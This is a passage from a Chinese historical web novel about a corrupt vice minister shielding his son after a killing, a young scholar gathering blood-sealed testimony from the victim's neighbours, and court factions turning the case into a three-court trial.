他从未见过父亲发这么大的火,那眼神,仿佛要将他生吞活剥了一般。 “我什么我!除了给我惹是生非,你还会做什么?” “圣贤书读进了狗肚子里,为官之道半点不通,声色犬马倒是样样精通!” “我怎么就生了你这么个不成器的东西!” 裴宽越说越气,胸膛剧烈地起伏着,恨不得再上前踹上几脚。 看着儿子那副马上就要崩溃的惨白模样,裴宽眼中的怒火终究还是渐渐熄灭,化为一丝难以察觉的疲惫与不忍。 他这一脉,三代单传。 到了他这里,更是只有这么一个独子。 从小到大,捧在手里怕摔了,含在嘴里怕化了。 他裴宽在朝堂之上,处处小心,步步为营,为的是什么? 不就是为了给这个儿子,铺就一条通天的青云路,让他能安安稳稳地继承家业,将裴家的荣光延续下去么? 可到头来,这小子却因为一个女人,差点把自己送上断头台。 真是……孽障! 裴宽深深地吸了一口气,压下心头的烦躁。 骂也骂了,打也打了,终究是自己的骨血,还能真不管不成? 这屁股,还得自己来擦。 他缓缓走到床板边坐下,声音冷了下来。 “行了,别像个娘们一样哼哼唧唧。把今天事情的前因后果,一字不漏的,全部说给我听。” “若有半句虚言,我便让你在这大牢里自生自灭!” 裴少文打了个寒颤,挣扎着爬起来,跪坐在裴宽面前,不敢再有丝毫隐瞒。 当然,在他自己看来,是没有任何隐瞒。 “爹,是那老东西自己要卖孙女的!” 裴少文的声音里带着委屈和愤恨。 “前几日我在西市闲逛,那老头看我衣着华贵,便主动凑上来,说他家里穷得揭不开锅了,有个孙女,愿意卖给我为婢为妾,只要给钱就行。” “儿子我看那姑娘……也还算齐整,便动了心思。” “谁知那老东西贪得无厌,狮子大开口,我便没理他。” “谁想到,今日他又托人传话,说是想通了,让我去领人。” “我带人去了,契约都按了手印,那老东西却突然反悔,抱着我的腿不让走,还大喊大叫,引来了人。” “我一时心烦,就……就推了他一把,谁知道他就这么不经推,直接……直接就死了……” 他一边说,一边小心翼翼地观察着裴宽的神色。 他将自己看上阿青美色,强行纳妾不成,转而用计强抢的事实,扭曲成了一场价钱没谈拢的买卖纠纷。 裴宽静静地听着,面无表情。 他混迹官场半生,什么样的人没见过,什么样的谎言没听过。 自己儿子那点花花肠子,他岂会看不穿? 一眼就看中了阿青,非要纳她为妾。 这才是真相。 不过,他没有揭穿。 在这种时候,追究这些细枝末节已经毫无意义。 他冷静地在脑海中,将整个事件的脉络重新梳理了一遍。 砸轿,对质,舆论,人证……那个叫陆明渊的,确实有几分手段。 “那个陆明渊,是什么来头?” 裴宽冷不丁地问道。 “就是今科的会元!” 裴少文咬牙切齿地说道。 “一个外地来的穷酸书生,仗着有几分才学,便敢和我作对!爹,您一定要给我报仇!” “会元……” 裴宽的眼睛眯了起来,一丝寒光在眼底闪过。 他沉吟片刻,随即站起身,脸上那股暴戾之气已经荡然无存,取而代之的是一种运筹帷幄的冷静。 “行了,此事我已知晓。” 他拍了拍裴少文的肩膀,语气恢复了往常的平淡。 “你不用担心。这件案子,京兆府那边已经定了性,是‘过失杀人’。” “这个罪名,可大可小,操作的空间很大。” 裴少文闻言,眼睛顿时一亮:“爹,您的意思是……” “哼,” 裴宽冷笑一声。 “现在外面那些士子群情激奋,风头正盛,不宜硬碰。你且安心在这里待上几日。” “等到过几日,殿试在即,那些自命清高的读书人,心思自然会全部放到金榜题名上去,谁还有空天天盯着你这点破事?” “届时,我自会安排刑部的人出面,将此案从京兆府提走。” “到了刑部,就是我们的地盘。到时候,上下打点一番,将罪名坐实为‘过失杀人’。” “到时候再给你寻个由头,说是为国戍边,安排你去北边军镇躲上三年清闲。” 裴宽的语气里,透着一股傲慢。 “北地苦寒,你就当是去磨炼磨炼性子。” “三年之后,风头过去,京城里谁还记得今天这点事?届时我再把你接回来,依旧是我裴家的公子!” 一番话,如同一颗定心丸,让裴少文那颗悬在半空的心,瞬间落回了肚子里。 去北边待三年,虽然苦了点,但总好过丢了性命,甚至好过流放千里! 他脸上的恐惧和绝望一扫而空,取而代之的是一种劫后余生的狂喜。 随之而来的,是更加扭曲和怨毒的嚣张。 “爹说的是!等我出去,我一定不会放过那个陆明渊!我要让他求生不得,求死不能!” 裴少文攥紧了拳头,指甲深深地嵌进肉里,眼中闪烁着恶毒光芒。 他一想到自己当众下跪的屈辱,就恨得牙痒痒。 裴宽看着儿子这副模样,眼中没有半分责备,反而流露出一丝赞许的阴戾。 “你放心。” 他缓缓踱步,声音如同从九幽之下传来,带着彻骨的寒意。 “这件事,我裴家不会就这么算了。” 第179章 下官明白!下官一定办到! “一个乡下来的泥腿子,侥幸中了个会元,便以为能一步登天,与我裴家掰手腕?他太天真了。” “他想害我裴家三代单传的独苗,断我裴宽的香火,我便要让他知道,什么叫做万劫不复!” 裴宽的嘴角,勾起一抹极度不屑的冷笑。 “区区一个新科会元而已,算得了什么?” “只要他不是状元,只要他没有被陛下钦点,没有那份天子门生的护身符。” “我裴宽,就有一百种方法,让他悄无声息地消失在这京城里,连一朵浪花都翻不起来。” “是吗?爹!您说的是真的?” 裴少文激动得浑身发抖,仿佛已经看到了陆明渊凄惨的下场。 他猛地想起了今日在公堂之上,自己跪在陆明渊面前,苦苦哀求的狼狈模样。 那份深入骨髓的耻辱,此刻在他脑海中疯狂滋长。 “爹!我要让他跪在我面前!我要让他像狗一样,跪在我面前求我!” “我要让他把他今天施加在我身上的一切,千倍百倍地还回来!”他面目狰狞地叫嚣着。 裴宽转过身,看着自己儿子那张因仇恨而扭曲的脸,缓缓地点了点头。 他的声音很轻,却带着一种金石般的承诺。 “好。” “为父答应你。” “我一定,会让那个陆明渊,跪在你的面前,向你求饶。” 裴宽最后看了一眼自己那满脸怨毒与狂喜的儿子,眼中最后一丝温情也悄然隐去,只剩下森然的算计。 他没有再多说一个字,转身,官袍的下摆在空中划出一道冷硬的弧线。 铁门在他身后重重合上,发出沉闷而绝望的巨响。 甬道里,京兆府尹王文成依然像一尊石像般躬身立在那里,只是姿势比之前更加卑微。 他听着那不紧不慢的脚步声由远及近,每一声都像踩在他的心尖上。 裴宽停在了他的面前。 王文成甚至能闻到从对方官袍上传来的,混杂着牢狱霉味与高级熏香的复杂气息。 那是一种权力的味道,令人窒息。 “王大人。” 裴宽的声音很平淡,平淡得没有一丝情绪,却比之前的雷霆之怒更加让人恐惧。 “犬子顽劣,给大人添麻烦了。” “不敢,不敢……下官……” 王文成舌头打了结,汗水顺着额角滑落。 裴宽是吏部侍郎,管的便是官员升迁! 他王文成的前程,一半儿都系在裴宽的身上! “这几日,就劳烦大人好生‘照看’了。” 裴宽的目光终于落在了他的脸上,那眼神如鹰隼般锐利。 “别让他饿着,也别让他冻着。当然,更不能让他……出什么意外。” 最后四个字,他说得极慢。 王文成瞬间明白了这“照看”二字的深意。这是警告,也是命令。 裴少文不能在京兆府的大牢里过得太舒服,否则无法平息外面的舆论。 但他也绝不能受半点真正的委屈,否则他王文成的官帽,乃至项上人头,都将不保。 “下官明白!下官一定……一定办到!” 王文成点头如捣蒜,恨不得将心都掏出来以示忠诚。 裴宽不再理他,径直向外走去。 师爷紧随其后,在经过王文成身边时,低声道。 “王大人,侍郎大人的意思,你应该懂。公子不能有事,那个案子……更不能有变。” 王文成身子一软,差点瘫倒在地。 他知道,自己已经彻底被绑在了裴家的战车上,再无退路。 …… 与京兆府大牢的压抑不同,京城外城的贫民窟,即便是在深夜,也总有那么一丝挥之不去的人间烟火气。 这里没有高门大院,只有鳞次栉比的低矮棚户。 巷道狭窄泥泞,空气中弥漫着劣质炭火、剩饭残羹与生活本身的酸腐气味。 陆明渊提着一盏昏黄的灯笼,行走在这片被繁华遗忘的角落。 阿青告诉他的地址并不难找,就在这片迷宫般巷道的深处,一棵歪脖子老槐树旁。 还未走近,他就听到了一阵压抑的、断断续续的哭声。 那哭声并不响亮,却尖锐地刺着这寂静的夜。 几户人家的窗户里透出微弱的油灯光芒。 几个黑影聚在王老头那破败的屋门前,对着里面指指点点,窃窃私语。 当陆明渊那身虽然朴素但干净整洁的儒衫,和他手中那盏明显比周围人家亮堂许多的灯笼出现时。 所有人的目光都汇聚了过来,带着警惕、好奇与畏惧。 “请问,这里是王伯的家吗?” 陆明渊的声音很温和,驱散了些许夜的寒意。 一个头发花白的老妇人颤巍巍地走上前来,打量着他:“你是……?” “晚生陆明渊。”他躬身一礼。 “今日在公堂之上,为王伯说过几句话。” 一听到“公堂”二字,人群顿时骚动起来。 “是那个后生!是那个帮老王头说话的会元公!” 有人认出了他。 “会元公,老王头他……他怎么样了?” 一个壮硕的汉子急切地问道,眼中满是担忧。 陆明渊看着他们那一双双质朴而焦虑的眼睛,心中一沉。 原本准备好的说辞,此刻却有些难以开口。 他沉默了片刻,最终还是沉痛地摇了摇头。 “王伯他……去了。” 三个字,很轻,却像一块巨石,轰然砸进了每个人的心里。 那压抑的哭声戛然而止,取而代之的是一片死寂。 随即,那死寂被一声凄厉的哀嚎撕碎。 “爷爷——!” 屋子里,阿青扑在王老头那张空荡荡的草席上,哭得撕心裂肺。 门外的街坊们,也一个个红了眼眶。 那头发花白的老妇人捂着嘴,眼泪无声地滑落。 那壮硕的汉子狠狠一拳砸在土墙上,骂道:“天杀的裴家!天杀的畜生!” “老王头那么好的人……上个月我家娃子病了,没钱抓药,还是他把最后那点米给了我们……” “是啊,谁家有困难,他都愿意搭把手。自己都快活不下去了,还总想着别人……” “就这么……就这么没了……” 悲伤与愤怒在人群中蔓延。 陆明渊深吸一口气,将今日公堂上的情形,以及裴家可能动用的手段,简明扼要地对众人说了一遍。 第180章 这件案子,十拿九稳! “……裴家势大,京兆府尹已然偏袒。他们想将此事定为‘过失’,大事化小,小事化了。” “如今,唯一能为王伯讨回公道的,便是人证。” 他从怀中取出一份早已写好的文书,在灯笼下展开。 “这份文书,写明了王伯大字不识一个,绝无可能自愿签下那份卖孙女的契约。” “我需要各位街坊邻里,愿意为王伯作证之人,在上面签下自己的名字,或按下手印。” 他顿了顿,目光扫过每一个人,声音变得无比郑重。 “但我要提醒各位,裴家是吏部侍郎,权势滔天。” “签下这份文书,便意味着与裴家为敌,日后恐有祸患。” “此事全凭自愿,陆某绝不强求。” 没有人说话。 昏黄的灯光下,每个人的脸上都写满了挣扎与恐惧。 他们是这京城最底层的百姓,侍郎大人对他们而言,是和天一样大的官,是能轻易碾死他们全家的存在。 沉默,在狭窄的巷道里蔓延。 就在陆明渊心中渐渐下沉之时,那个先前说话的壮硕汉子,猛地一咬牙,大步走了出来。 “我按!”他粗声说道。 “老子烂命一条!老王头是好人,好人不该就这么白死了!” “要是连句公道话都不敢说,老子还算什么爷们!” 说着,他便要伸手去拿陆明渊准备好的胭脂盒。 陆明渊正要递过去,那汉子却突然缩回了手。 他盯着那份文书,又看了看自己满是老茧的手指,眼中闪过一丝决绝。 他猛地抬起手,将食指放进嘴里,狠狠一咬! 鲜血,瞬间涌了出来。 他看也没看,直接将那沾满鲜血的手指,重重地按在了文书的末尾! 一个鲜红的、触目惊心的指印,烙印在了白纸之上。 “用血按!这才对得起老王头!” 汉子咧开嘴,露出一口黄牙,那笑容,却比哭还难看。 这个举动,瞬间点燃了所有人的血性。 “算我一个!老娘也按!” 那头发花白的老妇人颤抖着上前,学着汉子的模样,咬破了自己干枯的手指。 “还有我!” “会元公,也算我一个!” 一个,两个,三个…… 越来越多的人围了上来,他们不再犹豫,不再恐惧。 他们纷纷咬破手指,用自己的鲜血,在那份文书上,留下了一个又一个滚烫的印记。 那不是普通的指印,是一腔腔压抑已久的怒火。 陆明渊手捧着那份文书,只觉得它重逾千斤。 上面那几十个鲜红的血指印,在灯光下闪烁着妖异而悲壮的光芒,灼痛了他的眼睛。 他看着眼前这些衣衫褴褛、面带菜色的百姓,他们或许愚昧,或许胆小,或许自私。 但在这一刻,他们身上闪耀着人性的光辉,足以让天地动容。 “会元公!” 众人按完手印,纷纷围着他,用一种近乎央求的语气说道。 “您是天上文曲星下凡,您一定要为老王头讨回公道啊!” “我们人微言轻,只有您能帮我们了!” “求求您了,会元公!” 他们说着,便要跪下。 陆明渊连忙上前,将他们一一扶起。 他望着众人期盼的眼睛,望着屋内那个蜷缩在草席上、哭声渐歇却更显悲戚的瘦弱身影。 心中那份属于读书人的悲天悯人之情,与一股少年人的热血豪情交织在一起,激荡不休。 他郑重地将那份血书收入怀中,贴近胸口,仿佛能感受到上面传来的温度。 他对着众人,深深一揖。 “各位乡亲请起。” 他的声音不大,却清晰地传入每个人的耳中,带着一种不容置疑的坚定。 “请各位放心,此事,我陆明渊,管定了。” “只要我陆明渊还有一口气在,就绝不会让王伯白白冤死!” …… 夜色更深,大理寺的灯火却依旧通明。 当赵浩然从陆明渊手中接过那份带着血腥气的文书时,这位以冷静沉稳著称的大理寺卿,手也忍不住微微一颤。 他展开文书,看着上面那几十个鲜红刺目的血指印,久久无言。 良久,他才抬起头,看向眼前这个身形尚显单薄的少年,眼中是毫不掩饰的欣赏与凝重。 “明渊,你可知,你此举,已是将自己置于火上。” “学生知道。” 陆明渊平静的回答。 “但有些事,明知不可为,也必须为之。否则,读圣贤书,所为何事?” 赵浩然深深地看了他一眼,随即哈哈一笑,那笑声中带着一股说不出的快意。 “好一个‘读圣贤书,所为何事’!” 他将那份血书收好,神情坚定。 “你放心,有此物在,再有满城士子的舆论,这件案子,便是十拿九稳!” 他拍了拍陆明渊的肩膀,沉声道。 “回去好生准备殿试。剩下的事情,交给我。” “在这京都,还轮不到他裴宽一手遮天!我定会给你,给枉死的老者,给这满城的百姓,一个满意的交代!” 从大理寺出来,已是三更时分。 陆明渊没有立刻回客栈,而是找了一家通宵营业的笔墨铺子。 借着灯火,给自己的恩师林瀚文写了一封长信。 信中,他详细叙述了自入京以来所见所闻,从裴少文强抢民女,到公堂对质,再到今夜贫民窟中那份沉甸甸的血书。 他没有添油加醋,只是客观陈述,但在字里行间,那份为民请命的决心已然跃然纸上。 写完信,他将其封好,径直去了林家在京城的商行。 亮出林瀚文亲传弟子的身份后,商行掌柜恭敬万分,立刻安排了最快的信使,八百里加急送往江宁府。 做完这一切,陆明渊才终于感到一丝疲惫。 他回到客栈,没有立刻休息,而是从行囊中取出一本《道德经》,在灯下静静翻阅起来。 “上善若水,水善利万物而不争……” 清朗的诵读声在房间里低低响起,他纷乱的心绪,也渐渐归于平静。 殿试在即,他需要恢复心境。 至于状元之名,他并不强求。 他才十二岁,未来的路还很长,只要此次能正常发挥,进入翰林院,便算是成功。 饭要一口口吃,路要一步步走。 然而,陆明渊想静,这京城的风,却偏要动起来。 第181章 启奏陛下!臣有本奏! 裕王府,书房。 与外城的喧嚣和官署的肃杀都不同,这里,只有沉静。 名贵的龙涎香在兽首铜炉中升腾,烟气袅袅,将房内三位大乾王朝的顶级权臣的面容,映照得有些模糊。 内阁次辅,清流领袖,徐阶。 户部尚书,有“拗相公”之称的高拱。 兵部尚书,年未而立却已深得帝信的张居正。 三人的目光,都汇聚在徐阶面前的一份密报上。 那上面,写的正是裴少文一案的始末,以及陆明渊在其中扮演的角色。 “哼!裴宽这个老匹夫,平日里仗着严阁老的势,在吏部作威作福。” “没想到,竟生出这么一个蠢货儿子!真是大快人心!” 高拱性格火爆,看完密报,便忍不住冷笑出声,言语间满是幸灾乐祸。 张居正没有说话,只是端起茶杯,轻轻吹了吹浮沫,眼神深邃,不知在想些什么。 徐阶则慢条斯理地将密报折好,苍老却依旧精明的眼中闪过一丝不易察觉的厉色。 他缓缓开口,声音沙哑而沉稳。 “裴宽不足为虑,一个蠢儿子,也掀不起大浪。但吏部侍郎这个位置,太重要了。” 高拱和张居正的神色都严肃起来。 他们都明白,吏部掌管天下官员升迁调补,吏部侍郎,更是其中的关键实权职位。 这个位置被严党把持一天,他们清流一脉便一天难以出头。 “徐大人的意思是,借此事,扳倒裴宽?” 张居正放下了茶杯,一针见血地问道。 徐阶点了点头,又摇了摇头。 “扳倒他,还不够。” 徐阶的目光转向张居正。 “太岳,你一向计谋深远,依你看,此事该如何利用,方能利益最大?” 张居正沉吟片刻,缓缓说道。 “裴少文之事,如今已是满城风雨,士林激愤。这股势,我们可以用。” 他的手指在桌案上轻轻敲击着,发出极有节奏的声响。 “关键点,在那个叫陆明渊的会元身上。” “此子年仅十二,便有如此才学与胆魄,更难得的是,他身后站着林瀚文。” “林瀚文为人太过圆滑,在许多事情上,总是留有余地,不肯与严党彻底撕破脸皮。” “如今,他的亲传弟子被卷入其中,成了对抗裴家的风口浪尖。我们只需在背后,再推一把火。” 张居正的眼中闪过一丝智珠在握的光芒。 “我们暗中联络御史言官,让他们在朝堂上弹劾裴宽教子无方,纵子行凶。” “同时,发动我们在士林中的力量,将陆明渊塑造成一个为民请命、不畏强权的读书人楷模。” “借助这股势,将此事,彻底烧成一团燎原大火!” “如此一来,舆论汹汹,陛下即便再偏袒严阁老,也不得不做出姿态。裴宽丢官罢职,是最小的结果。” “更重要的是” “当裴宽,乃至他背后的严党,将陆明渊视为眼中钉,欲除之而后快时,林瀚文就算想置身事外,也不可能了。” “爱徒有难,他岂能坐视?届时,他不想投身我们,与严党彻底对立,也不行了!” 高拱听得双眼放光,一拍大腿。 “好计!此计一成,不仅能拔掉裴宽这颗钉子,还能逼着林瀚文站队,一举两得!” 徐阶那张古井无波的脸上,终于露出了一丝笑意。他赞许地看着张居正,缓缓点头。 “太岳此计,甚好。” 他站起身,走到窗边,看着窗外漆黑的夜色,仿佛已经看到了天亮之后,即将在这京城上演的一场惊天大戏。 “那就这么办吧。” “传话下去,让风,刮得再大一些。” 这道无声的命令,自裕王府的书房中传出。 于是,风起了。 第二天,京城里最大的一家茶楼“百味轩”里。 说书先生的醒木没有拍响那段听了千百遍的《三国》,而是换上了一段新词。 说的是“恶少当街欺老叟,会元仗义斥权奸”。 故事编得七分真三分假,却恰好挠到了所有人的痒处,听得满堂喝彩,铜钱扔得像下雨。 第三天,城南的瓦子里,几个勾栏戏班不约而同地排演了一出新戏,名叫《血溅槐树巷》。 戏里的反派小公爷,画着白脸,穿着华服,一举一动都透着裴少文的影子。 每当他被戏里的青衫书生骂得狗血淋头,台下便是一片雷鸣般的叫好。 第四天,风从市井吹进了官宦人家。 一些平日里与裴家有隙、或是自诩清流的官员,在宴饮聚会时,开始有意无意地谈论起此事。 言语间,是“教子不严,何以治吏”的感慨,是“国朝脸面,毁于一旦”的痛心疾首。 第五天,风终于吹进了它该去的地方。 大理寺门前的鸣冤鼓,自开朝以来,头一次被人擂得如此密集。 一个衣衫褴褛的妇人,哭诉着自己的女儿三年前被裴少文掳走,至今下落不明。 一个断了腿的老兵,拿着一张按满手印的状纸,状告裴少文的家奴霸占其祖产,将其殴打致残。 甚至还有一个戴着帷帽的女子,不敢露面,只托人送来了一封血书。 里面字字泣血,控诉裴少文如何买通官府,逼得她家破人亡,自己沦落风尘…… 一桩桩,一件件,陈年旧案,仿佛被这阵突如其来的大风从尘封的角落里尽数吹了出来,堆在了大理寺卿赵浩然的案头。 赵浩然将所有案子,无论证据是否确凿,尽数接下。 他什么也没说,只是安静地坐在那里,看着案卷越堆越高,几乎要将他整个人淹没。 他知道,这不再是一件简单的命案,而是积压已久的民怨。 借着陆明渊这个引子,终于找到了一个宣泄的出口。 这股力量,足以撼动山岳。 第六日,天色微明,紫禁城金銮殿前,百官肃立。 晨钟响起,悠远而庄严。 早朝的气氛,从一开始就透着一股不同寻常的凝重。 当朝议进行到一半时,身着绯色官袍的大理寺卿赵浩然出列,手捧象牙笏板,声如洪钟。 “启奏陛下!臣有本奏!” 御座之上,身着明黄龙袍的嘉靖皇帝缓缓睁开了那双仿佛洞悉一切的眼睛,淡淡道:“讲。” 第182章 裴少文,你可知罪? “臣,大理寺少卿赵浩然,弹劾吏部侍郎裴宽之子裴少文,光天化日,纵奴行凶,当街行至人命!” “此案经臣初审,人证物证俱在。” “然,此案背后,牵扯甚广,近日来,大理寺接到状告裴少文之陈年旧案,多达一十七起!” “其中涉及强抢民女、霸占田产、买凶伤人,乃至逼良为娼!桩桩件件,骇人听闻!” 赵浩然的声音在金碧辉煌的大殿中回响。 “裴少文身为官宦子弟,却视国法为无物,视人命如草芥,其行径之恶劣,影响之败坏,已然激起天怒人怨!” “为正国法,为安民心,臣恳请陛下,下旨令都察院、刑部、大理寺,三司会审此案,彻查裴少文一应罪行,以儆效尤!” 话音落下,满朝死寂。 所有人都知道,三司会审,乃是国朝大案要案才会动用的最高审理规格。 赵浩然此举,是要将裴家往死路上逼! “臣附议!” 一名须发皆白的御史应声出列,声音嘶哑却坚定。 “王子犯法,与庶民同罪!裴少文恶行累累,若不严惩,何以告慰天下苍生!” “臣等附议!” 又有数名清流言官站了出来,一时间,附议之声此起彼伏。 严党一派的官员脸色铁青。 一名与裴宽交好的都给事中立刻跳了出来,反驳道。 “赵大人此言差矣!所谓十七起旧案,不过是捕风捉影,尚未查证!” “焉能仅凭一面之词,便启动三司会审?此举未免太过草率,有违朝廷体统!” “就是!裴公子一案,京兆府已有定论,乃是过失。” “赵大人如此大动干戈,莫非是挟私报复,另有所图?” 双方你来我往,唇枪舌剑,金銮殿瞬间变成了没有硝烟的战场。 御座上的嘉靖帝,始终面无表情地看着下方争吵的臣子,直到那争吵声渐渐平息。 他才缓缓开口,声音不大,却带着一种不容置疑的威严。 “准奏。” 两个字,轻飘飘的,却如同一道九天惊雷,轰然炸响。 严党官员的面色瞬间变得惨白。 “着,都察院、刑部、大理寺,即刻组成会审衙门,彻查裴少文一案。” “所有相关人等,一律移交大理寺天牢,听候审问。” 嘉靖帝的目光扫过下方,最后落在了赵浩然的身上。 “赵浩然,你既是主审,便要查个水落石出。” “朕,等着你的结果。” “臣……遵旨!” 赵浩然深深一拜,眼中闪过一丝不易察觉的精光。 他知道,这一局,他们赢了。 …… 大理寺,正堂。 气氛肃杀,堂上高悬“明镜高悬”四字匾额,两侧衙役手持水火棍,威严肃立。 正中的主位上,坐着赵浩然。 他的左手边,是刑部右侍郎钱普,一个面容精瘦、眼神锐利的老官僚。 右手边,则是都察院左都御史周延,一个身形魁梧、不怒自威的北方汉子。 这,便是三司会审的阵仗。 “传证人,陆明渊。” 赵浩然的声音响起。 片刻后,陆明渊一身干净的儒衫,缓步走入大堂。 面对这般威严的场面,他那张稚气未脱的脸上,没有丝毫的紧张与畏惧。 他平静地对着堂上三位主审官,躬身一礼。 “学生陆明渊,见过三位大人。” 钱普与周延的眼中,都闪过一丝讶异。 他们早就听闻了这位十二岁会元的名声,今日一见,单是这份镇定自若的气度,便已非同凡响。 赵浩然点了点头,开始公式化地询问。 “陆明渊,本官问你,七日前,在城南槐树巷,你所见所闻,可是裴少文指使其护卫,殴打老者王汉,并最终导致其身亡?” “回大人,正是。” 陆明渊的回答清晰而沉稳。 “学生亲眼所见,那护卫殴打期间,裴少文非但没有阻止,反而在一旁抚掌大笑,当学生出言阻拦之时,裴少文更是踹了老伯一脚,后老伯断气于阿青怀中。” “学生命护卫阻拦裴少文离开,并且派同窗好友报官,裴少文想要强行离开,学生护卫阻拦之下,毁了其轿舆。” 刑部侍郎钱普捻着胡须,问道:“你可看清,最后那一脚,是何人所踹?” “回大人,是裴少文所踹!” 陆明渊不卑不亢地答道。 问话结束,赵浩然命人将陆明渊带到偏厅休息。 他知道,陆明渊的证词只是一个开始,真正的交锋,还在后面。 “传人犯,裴少文!” 裴少文被带上堂时,依旧是一副吊儿郎当的模样。 他在京兆府大牢里待了几日,虽说环境差了点,但有父亲的打点,并未吃半点苦头。 此刻见到三司会身的大阵仗,他非但不怕,反而觉得有些新奇。 他父亲已经告诉他,一切都安排好了,只要咬死是护卫失手,其他的事情,都有裴宽处理 “裴少文,你可知罪?” 赵浩然一拍惊堂木,厉声喝道。 “知什么罪?” 裴少文撇了撇嘴,懒洋洋地说道。 “本公子不过是和家奴出门逛街,那老东西自己撞了上来,还出言不逊。” “我那护卫护主心切,不小心推了他一下,谁知道他那么不经事,自己就倒了。这叫过失,过失!” 他甚至还斜着眼睛看了一眼赵浩然,语气中充满了挑衅。 “至于最后那一脚,那是我家护卫王二踹的,跟我有什么关系?你们要审,就去审他好了。” 这番无赖至极的言辞,让堂上的钱普和周延都皱紧了眉头。 他们审过无数穷凶极恶的江洋大盗,却很少见到如此嚣张无耻的官家子弟。 “一派胡言!” 赵浩然怒喝道,“来人,将护卫王二带上来!” 护卫王二被带上堂时,浑身都在发抖。 他看了一眼裴少文,又飞快地低下头,不敢与堂上任何人的目光对视。 “王二,本官问你,当日之事,是否如你家公子所言?” 王二嘴唇哆嗦了半天,才从喉咙里挤出几个字:“是……是小的……失手……” “你看,” 裴少文摊了摊手,一脸得意。 “他自己都认了。赵大人,这案子还有什么好审的?赶紧结案,本公子还等着回家喝茶呢。” 第183章 他自己都自身难保,拿什么保你 赵浩然冷冷地看着他,那眼神像是在看一个死人。 他没有再理会裴少文,而是对着钱普和周延拱了拱手。 “两位大人,此案疑点重重,人犯与证人口供矛盾,且态度嚣张,恐有串供之嫌。” “下官以为,当将二人分开关押,再行审问,并加紧收集其他证据,两位大人意下如何?” 钱普与周延对视一眼,都看出了对方眼中的意思。 这裴少文蠢得无可救药,而那护卫明显是受了胁迫。 赵浩然的提议,正是老成之举。 “可。” 刑部侍郎钱普惜字如金。 “就依赵大人所言。” 左都御史周延也点头同意。 他们各自起身,带着属官返回自己的衙门。 他们知道,这案子的关键,就在于撬开那个护卫的嘴。 而论审讯的手段,没人比大理寺更在行。 等到刑部和都察院的人都离开,大堂恢复了寂静。 赵浩然的脸上,那份属于审案官员的威严渐渐褪去。 他没有立刻审问,而是让人将裴少文押回天牢,好生“看管”。 然后,他才让人将那名护卫王二,带进了大堂旁边一间密不透风的审讯室。 审讯室里,没有刑具,只有一张桌子,两把椅子,和一盏在风中摇曳的油灯。 王二跪在冰冷的地上,身体抖得像筛糠。 赵浩然没有坐下,只是踱步到他的面前,将一份文书,轻轻地放在了他的眼前。 那正是陆明渊带回来的,按满了贫民窟百姓血指印的联名状。 “王二,你抬起头,看看这个。” 赵浩然的声音很平淡。 王二颤抖着抬起头,只看了一眼,那几十个鲜红刺目的指印,就像烧红的烙铁,烫得他猛地缩回了目光。 “这些,都是王汉的老街坊。” 赵浩然缓缓说道,“他们愿意用自己的血,为王汉的死作证。你觉得,裴少文还能脱得了身吗?” “我……” 王二说不出话来。 “你不必说了,我来告诉你。” 赵浩然的语气依旧平静,却带着一种冰冷的穿透力。 “今天早朝,陛下已经下旨三司会审。这意味着什么,你可能不懂。” “我告诉你,这意味着,你家公子,已经不是你家公子了,他只是一个国法要严惩的罪犯。” “这几天,大理寺收到了十七份状告裴少文的状纸。” “强抢民女,逼良为娼,桩桩件件,都够他死上十次。” “你以为,他这次还能像以前一样,让你顶罪,然后他花点钱就了事吗?” 赵浩然俯下身,凑到王二的耳边,声音压得极低,如同魔鬼的私语。 “他死定了。谁也救不了他。而你,王二,你替他作伪证,就是同谋。” “你知道谋杀朝廷命案的证人,是什么罪吗?也是一个死罪。” 王二的身体猛地一僵,面如死灰。 “你死了,你觉得裴家会管你那在乡下种地的老父老母吗?会管你那嗷嗷待哺的儿子吗?” “不会的。他们只会觉得你是一条没用的狗,死了也就死了。” “不……不会的……公子他……” “他答应保你,对吗?” 赵浩然直起身,冷笑一声,“他自己都自身难保,拿什么保你?用他那颗即将落地的脑袋吗?” 王二彻底崩溃了,他趴在地上,嚎啕大哭起来。 那哭声里,充满了恐惧、绝望和被背叛的悔恨。 赵浩然静静地等他哭了一会儿,才再次开口,这一次,声音里带着一丝诱惑。 “不过,陛下有好生之德,本官也并非嗜杀之人。你,还有一条活路。” 王二猛地抬起头,像一个溺水的人抓住了最后一根稻草,死死地盯着赵浩然。 “将你知道的一切,原原本本地说出来。” “不止是王汉的案子,还有裴少文以前做过的所有腌臜事,一五一十,全部交代清楚。” “只要你肯配合,当污点证人。本官可以向你承诺,我会保你一命。” “非但如此,等案子了结,我会把你全家老小,都接到我赵府。” “你的父母,我为他们养老送终;你的妻儿,我给他们一份安稳的差事。” “从此以后,你们就是我赵浩然的人,这京城里,再没人敢动你们一根汗毛。” 先是雷霆万钧的威胁,再是无法拒绝的拉拢。 王二那本就脆弱的心理防线,在这一刻,被彻底击溃。 他重重地磕了一个头,额头撞在青石板上,发出沉闷的响声。 “大人!我说!我全都说!” 他像是倒豆子一般,将当日裴少文如何命令他行凶的细节,如何威逼他顶罪的过程,全部交代得一清二楚。 紧接着,他像是想起了什么,眼中闪过一丝疯狂的报复快感。 “大人!小的还知道一件大事!三年前,裴少文看上了城西‘百花楼’的一个清倌人。” “裴少文用强不成,就买通了当时的京兆府司功,诬陷那清倌人的父亲私通外敌,害得那家人家破人亡!” “那份行贿的账本,就藏在……就藏在裴少文书房的暗格里!小的亲眼见过!” 赵浩然的瞳孔骤然一缩。 他要的,不仅仅是裴少文的罪证,更是扳倒裴宽,乃至打击整个严党的证据! 买通京兆府官员,陷害良民! 这已经不是简单的民事案件,而是足以震动朝野的官场丑闻! 他猛地一拍桌子,眼中迸发出骇人的光芒。 “好!好!好!” 他连说三个好字,胸中一股压抑许久的郁气尽数吐出。 “来人!” 他沉声喝道,“备车马,进宫面圣! 夜色如墨,一辆不起眼的青帷小车自大理寺后门疾驰而出,最终悄无声息地停在了皇城东华门外。 赵浩然换上了一身寻常的便服,在一名小太监的引领下,穿过幽深冗长的宫巷。 御书房内,灯火通明。 嘉靖皇帝并未批阅奏折,只是独自一人,对着一局残棋出神。 那棋盘之上,黑白二子绞杀正酣。 一条大龙被围困中央,看似生机断绝,却又在最不可能处,留有一口微弱的气。 “臣,赵浩然,叩见陛下。” 赵浩然跪地行礼,声音里带着一丝难以抑制的激动。 “起来吧。” 嘉靖帝没有回头,目光依旧落在棋盘上,声音平淡得听不出喜怒,“说。” “回陛下,护卫王二,已经招了。” 赵浩然起身,将王二的供词,以及那桩三年前的旧案,一五一十地禀报清楚。 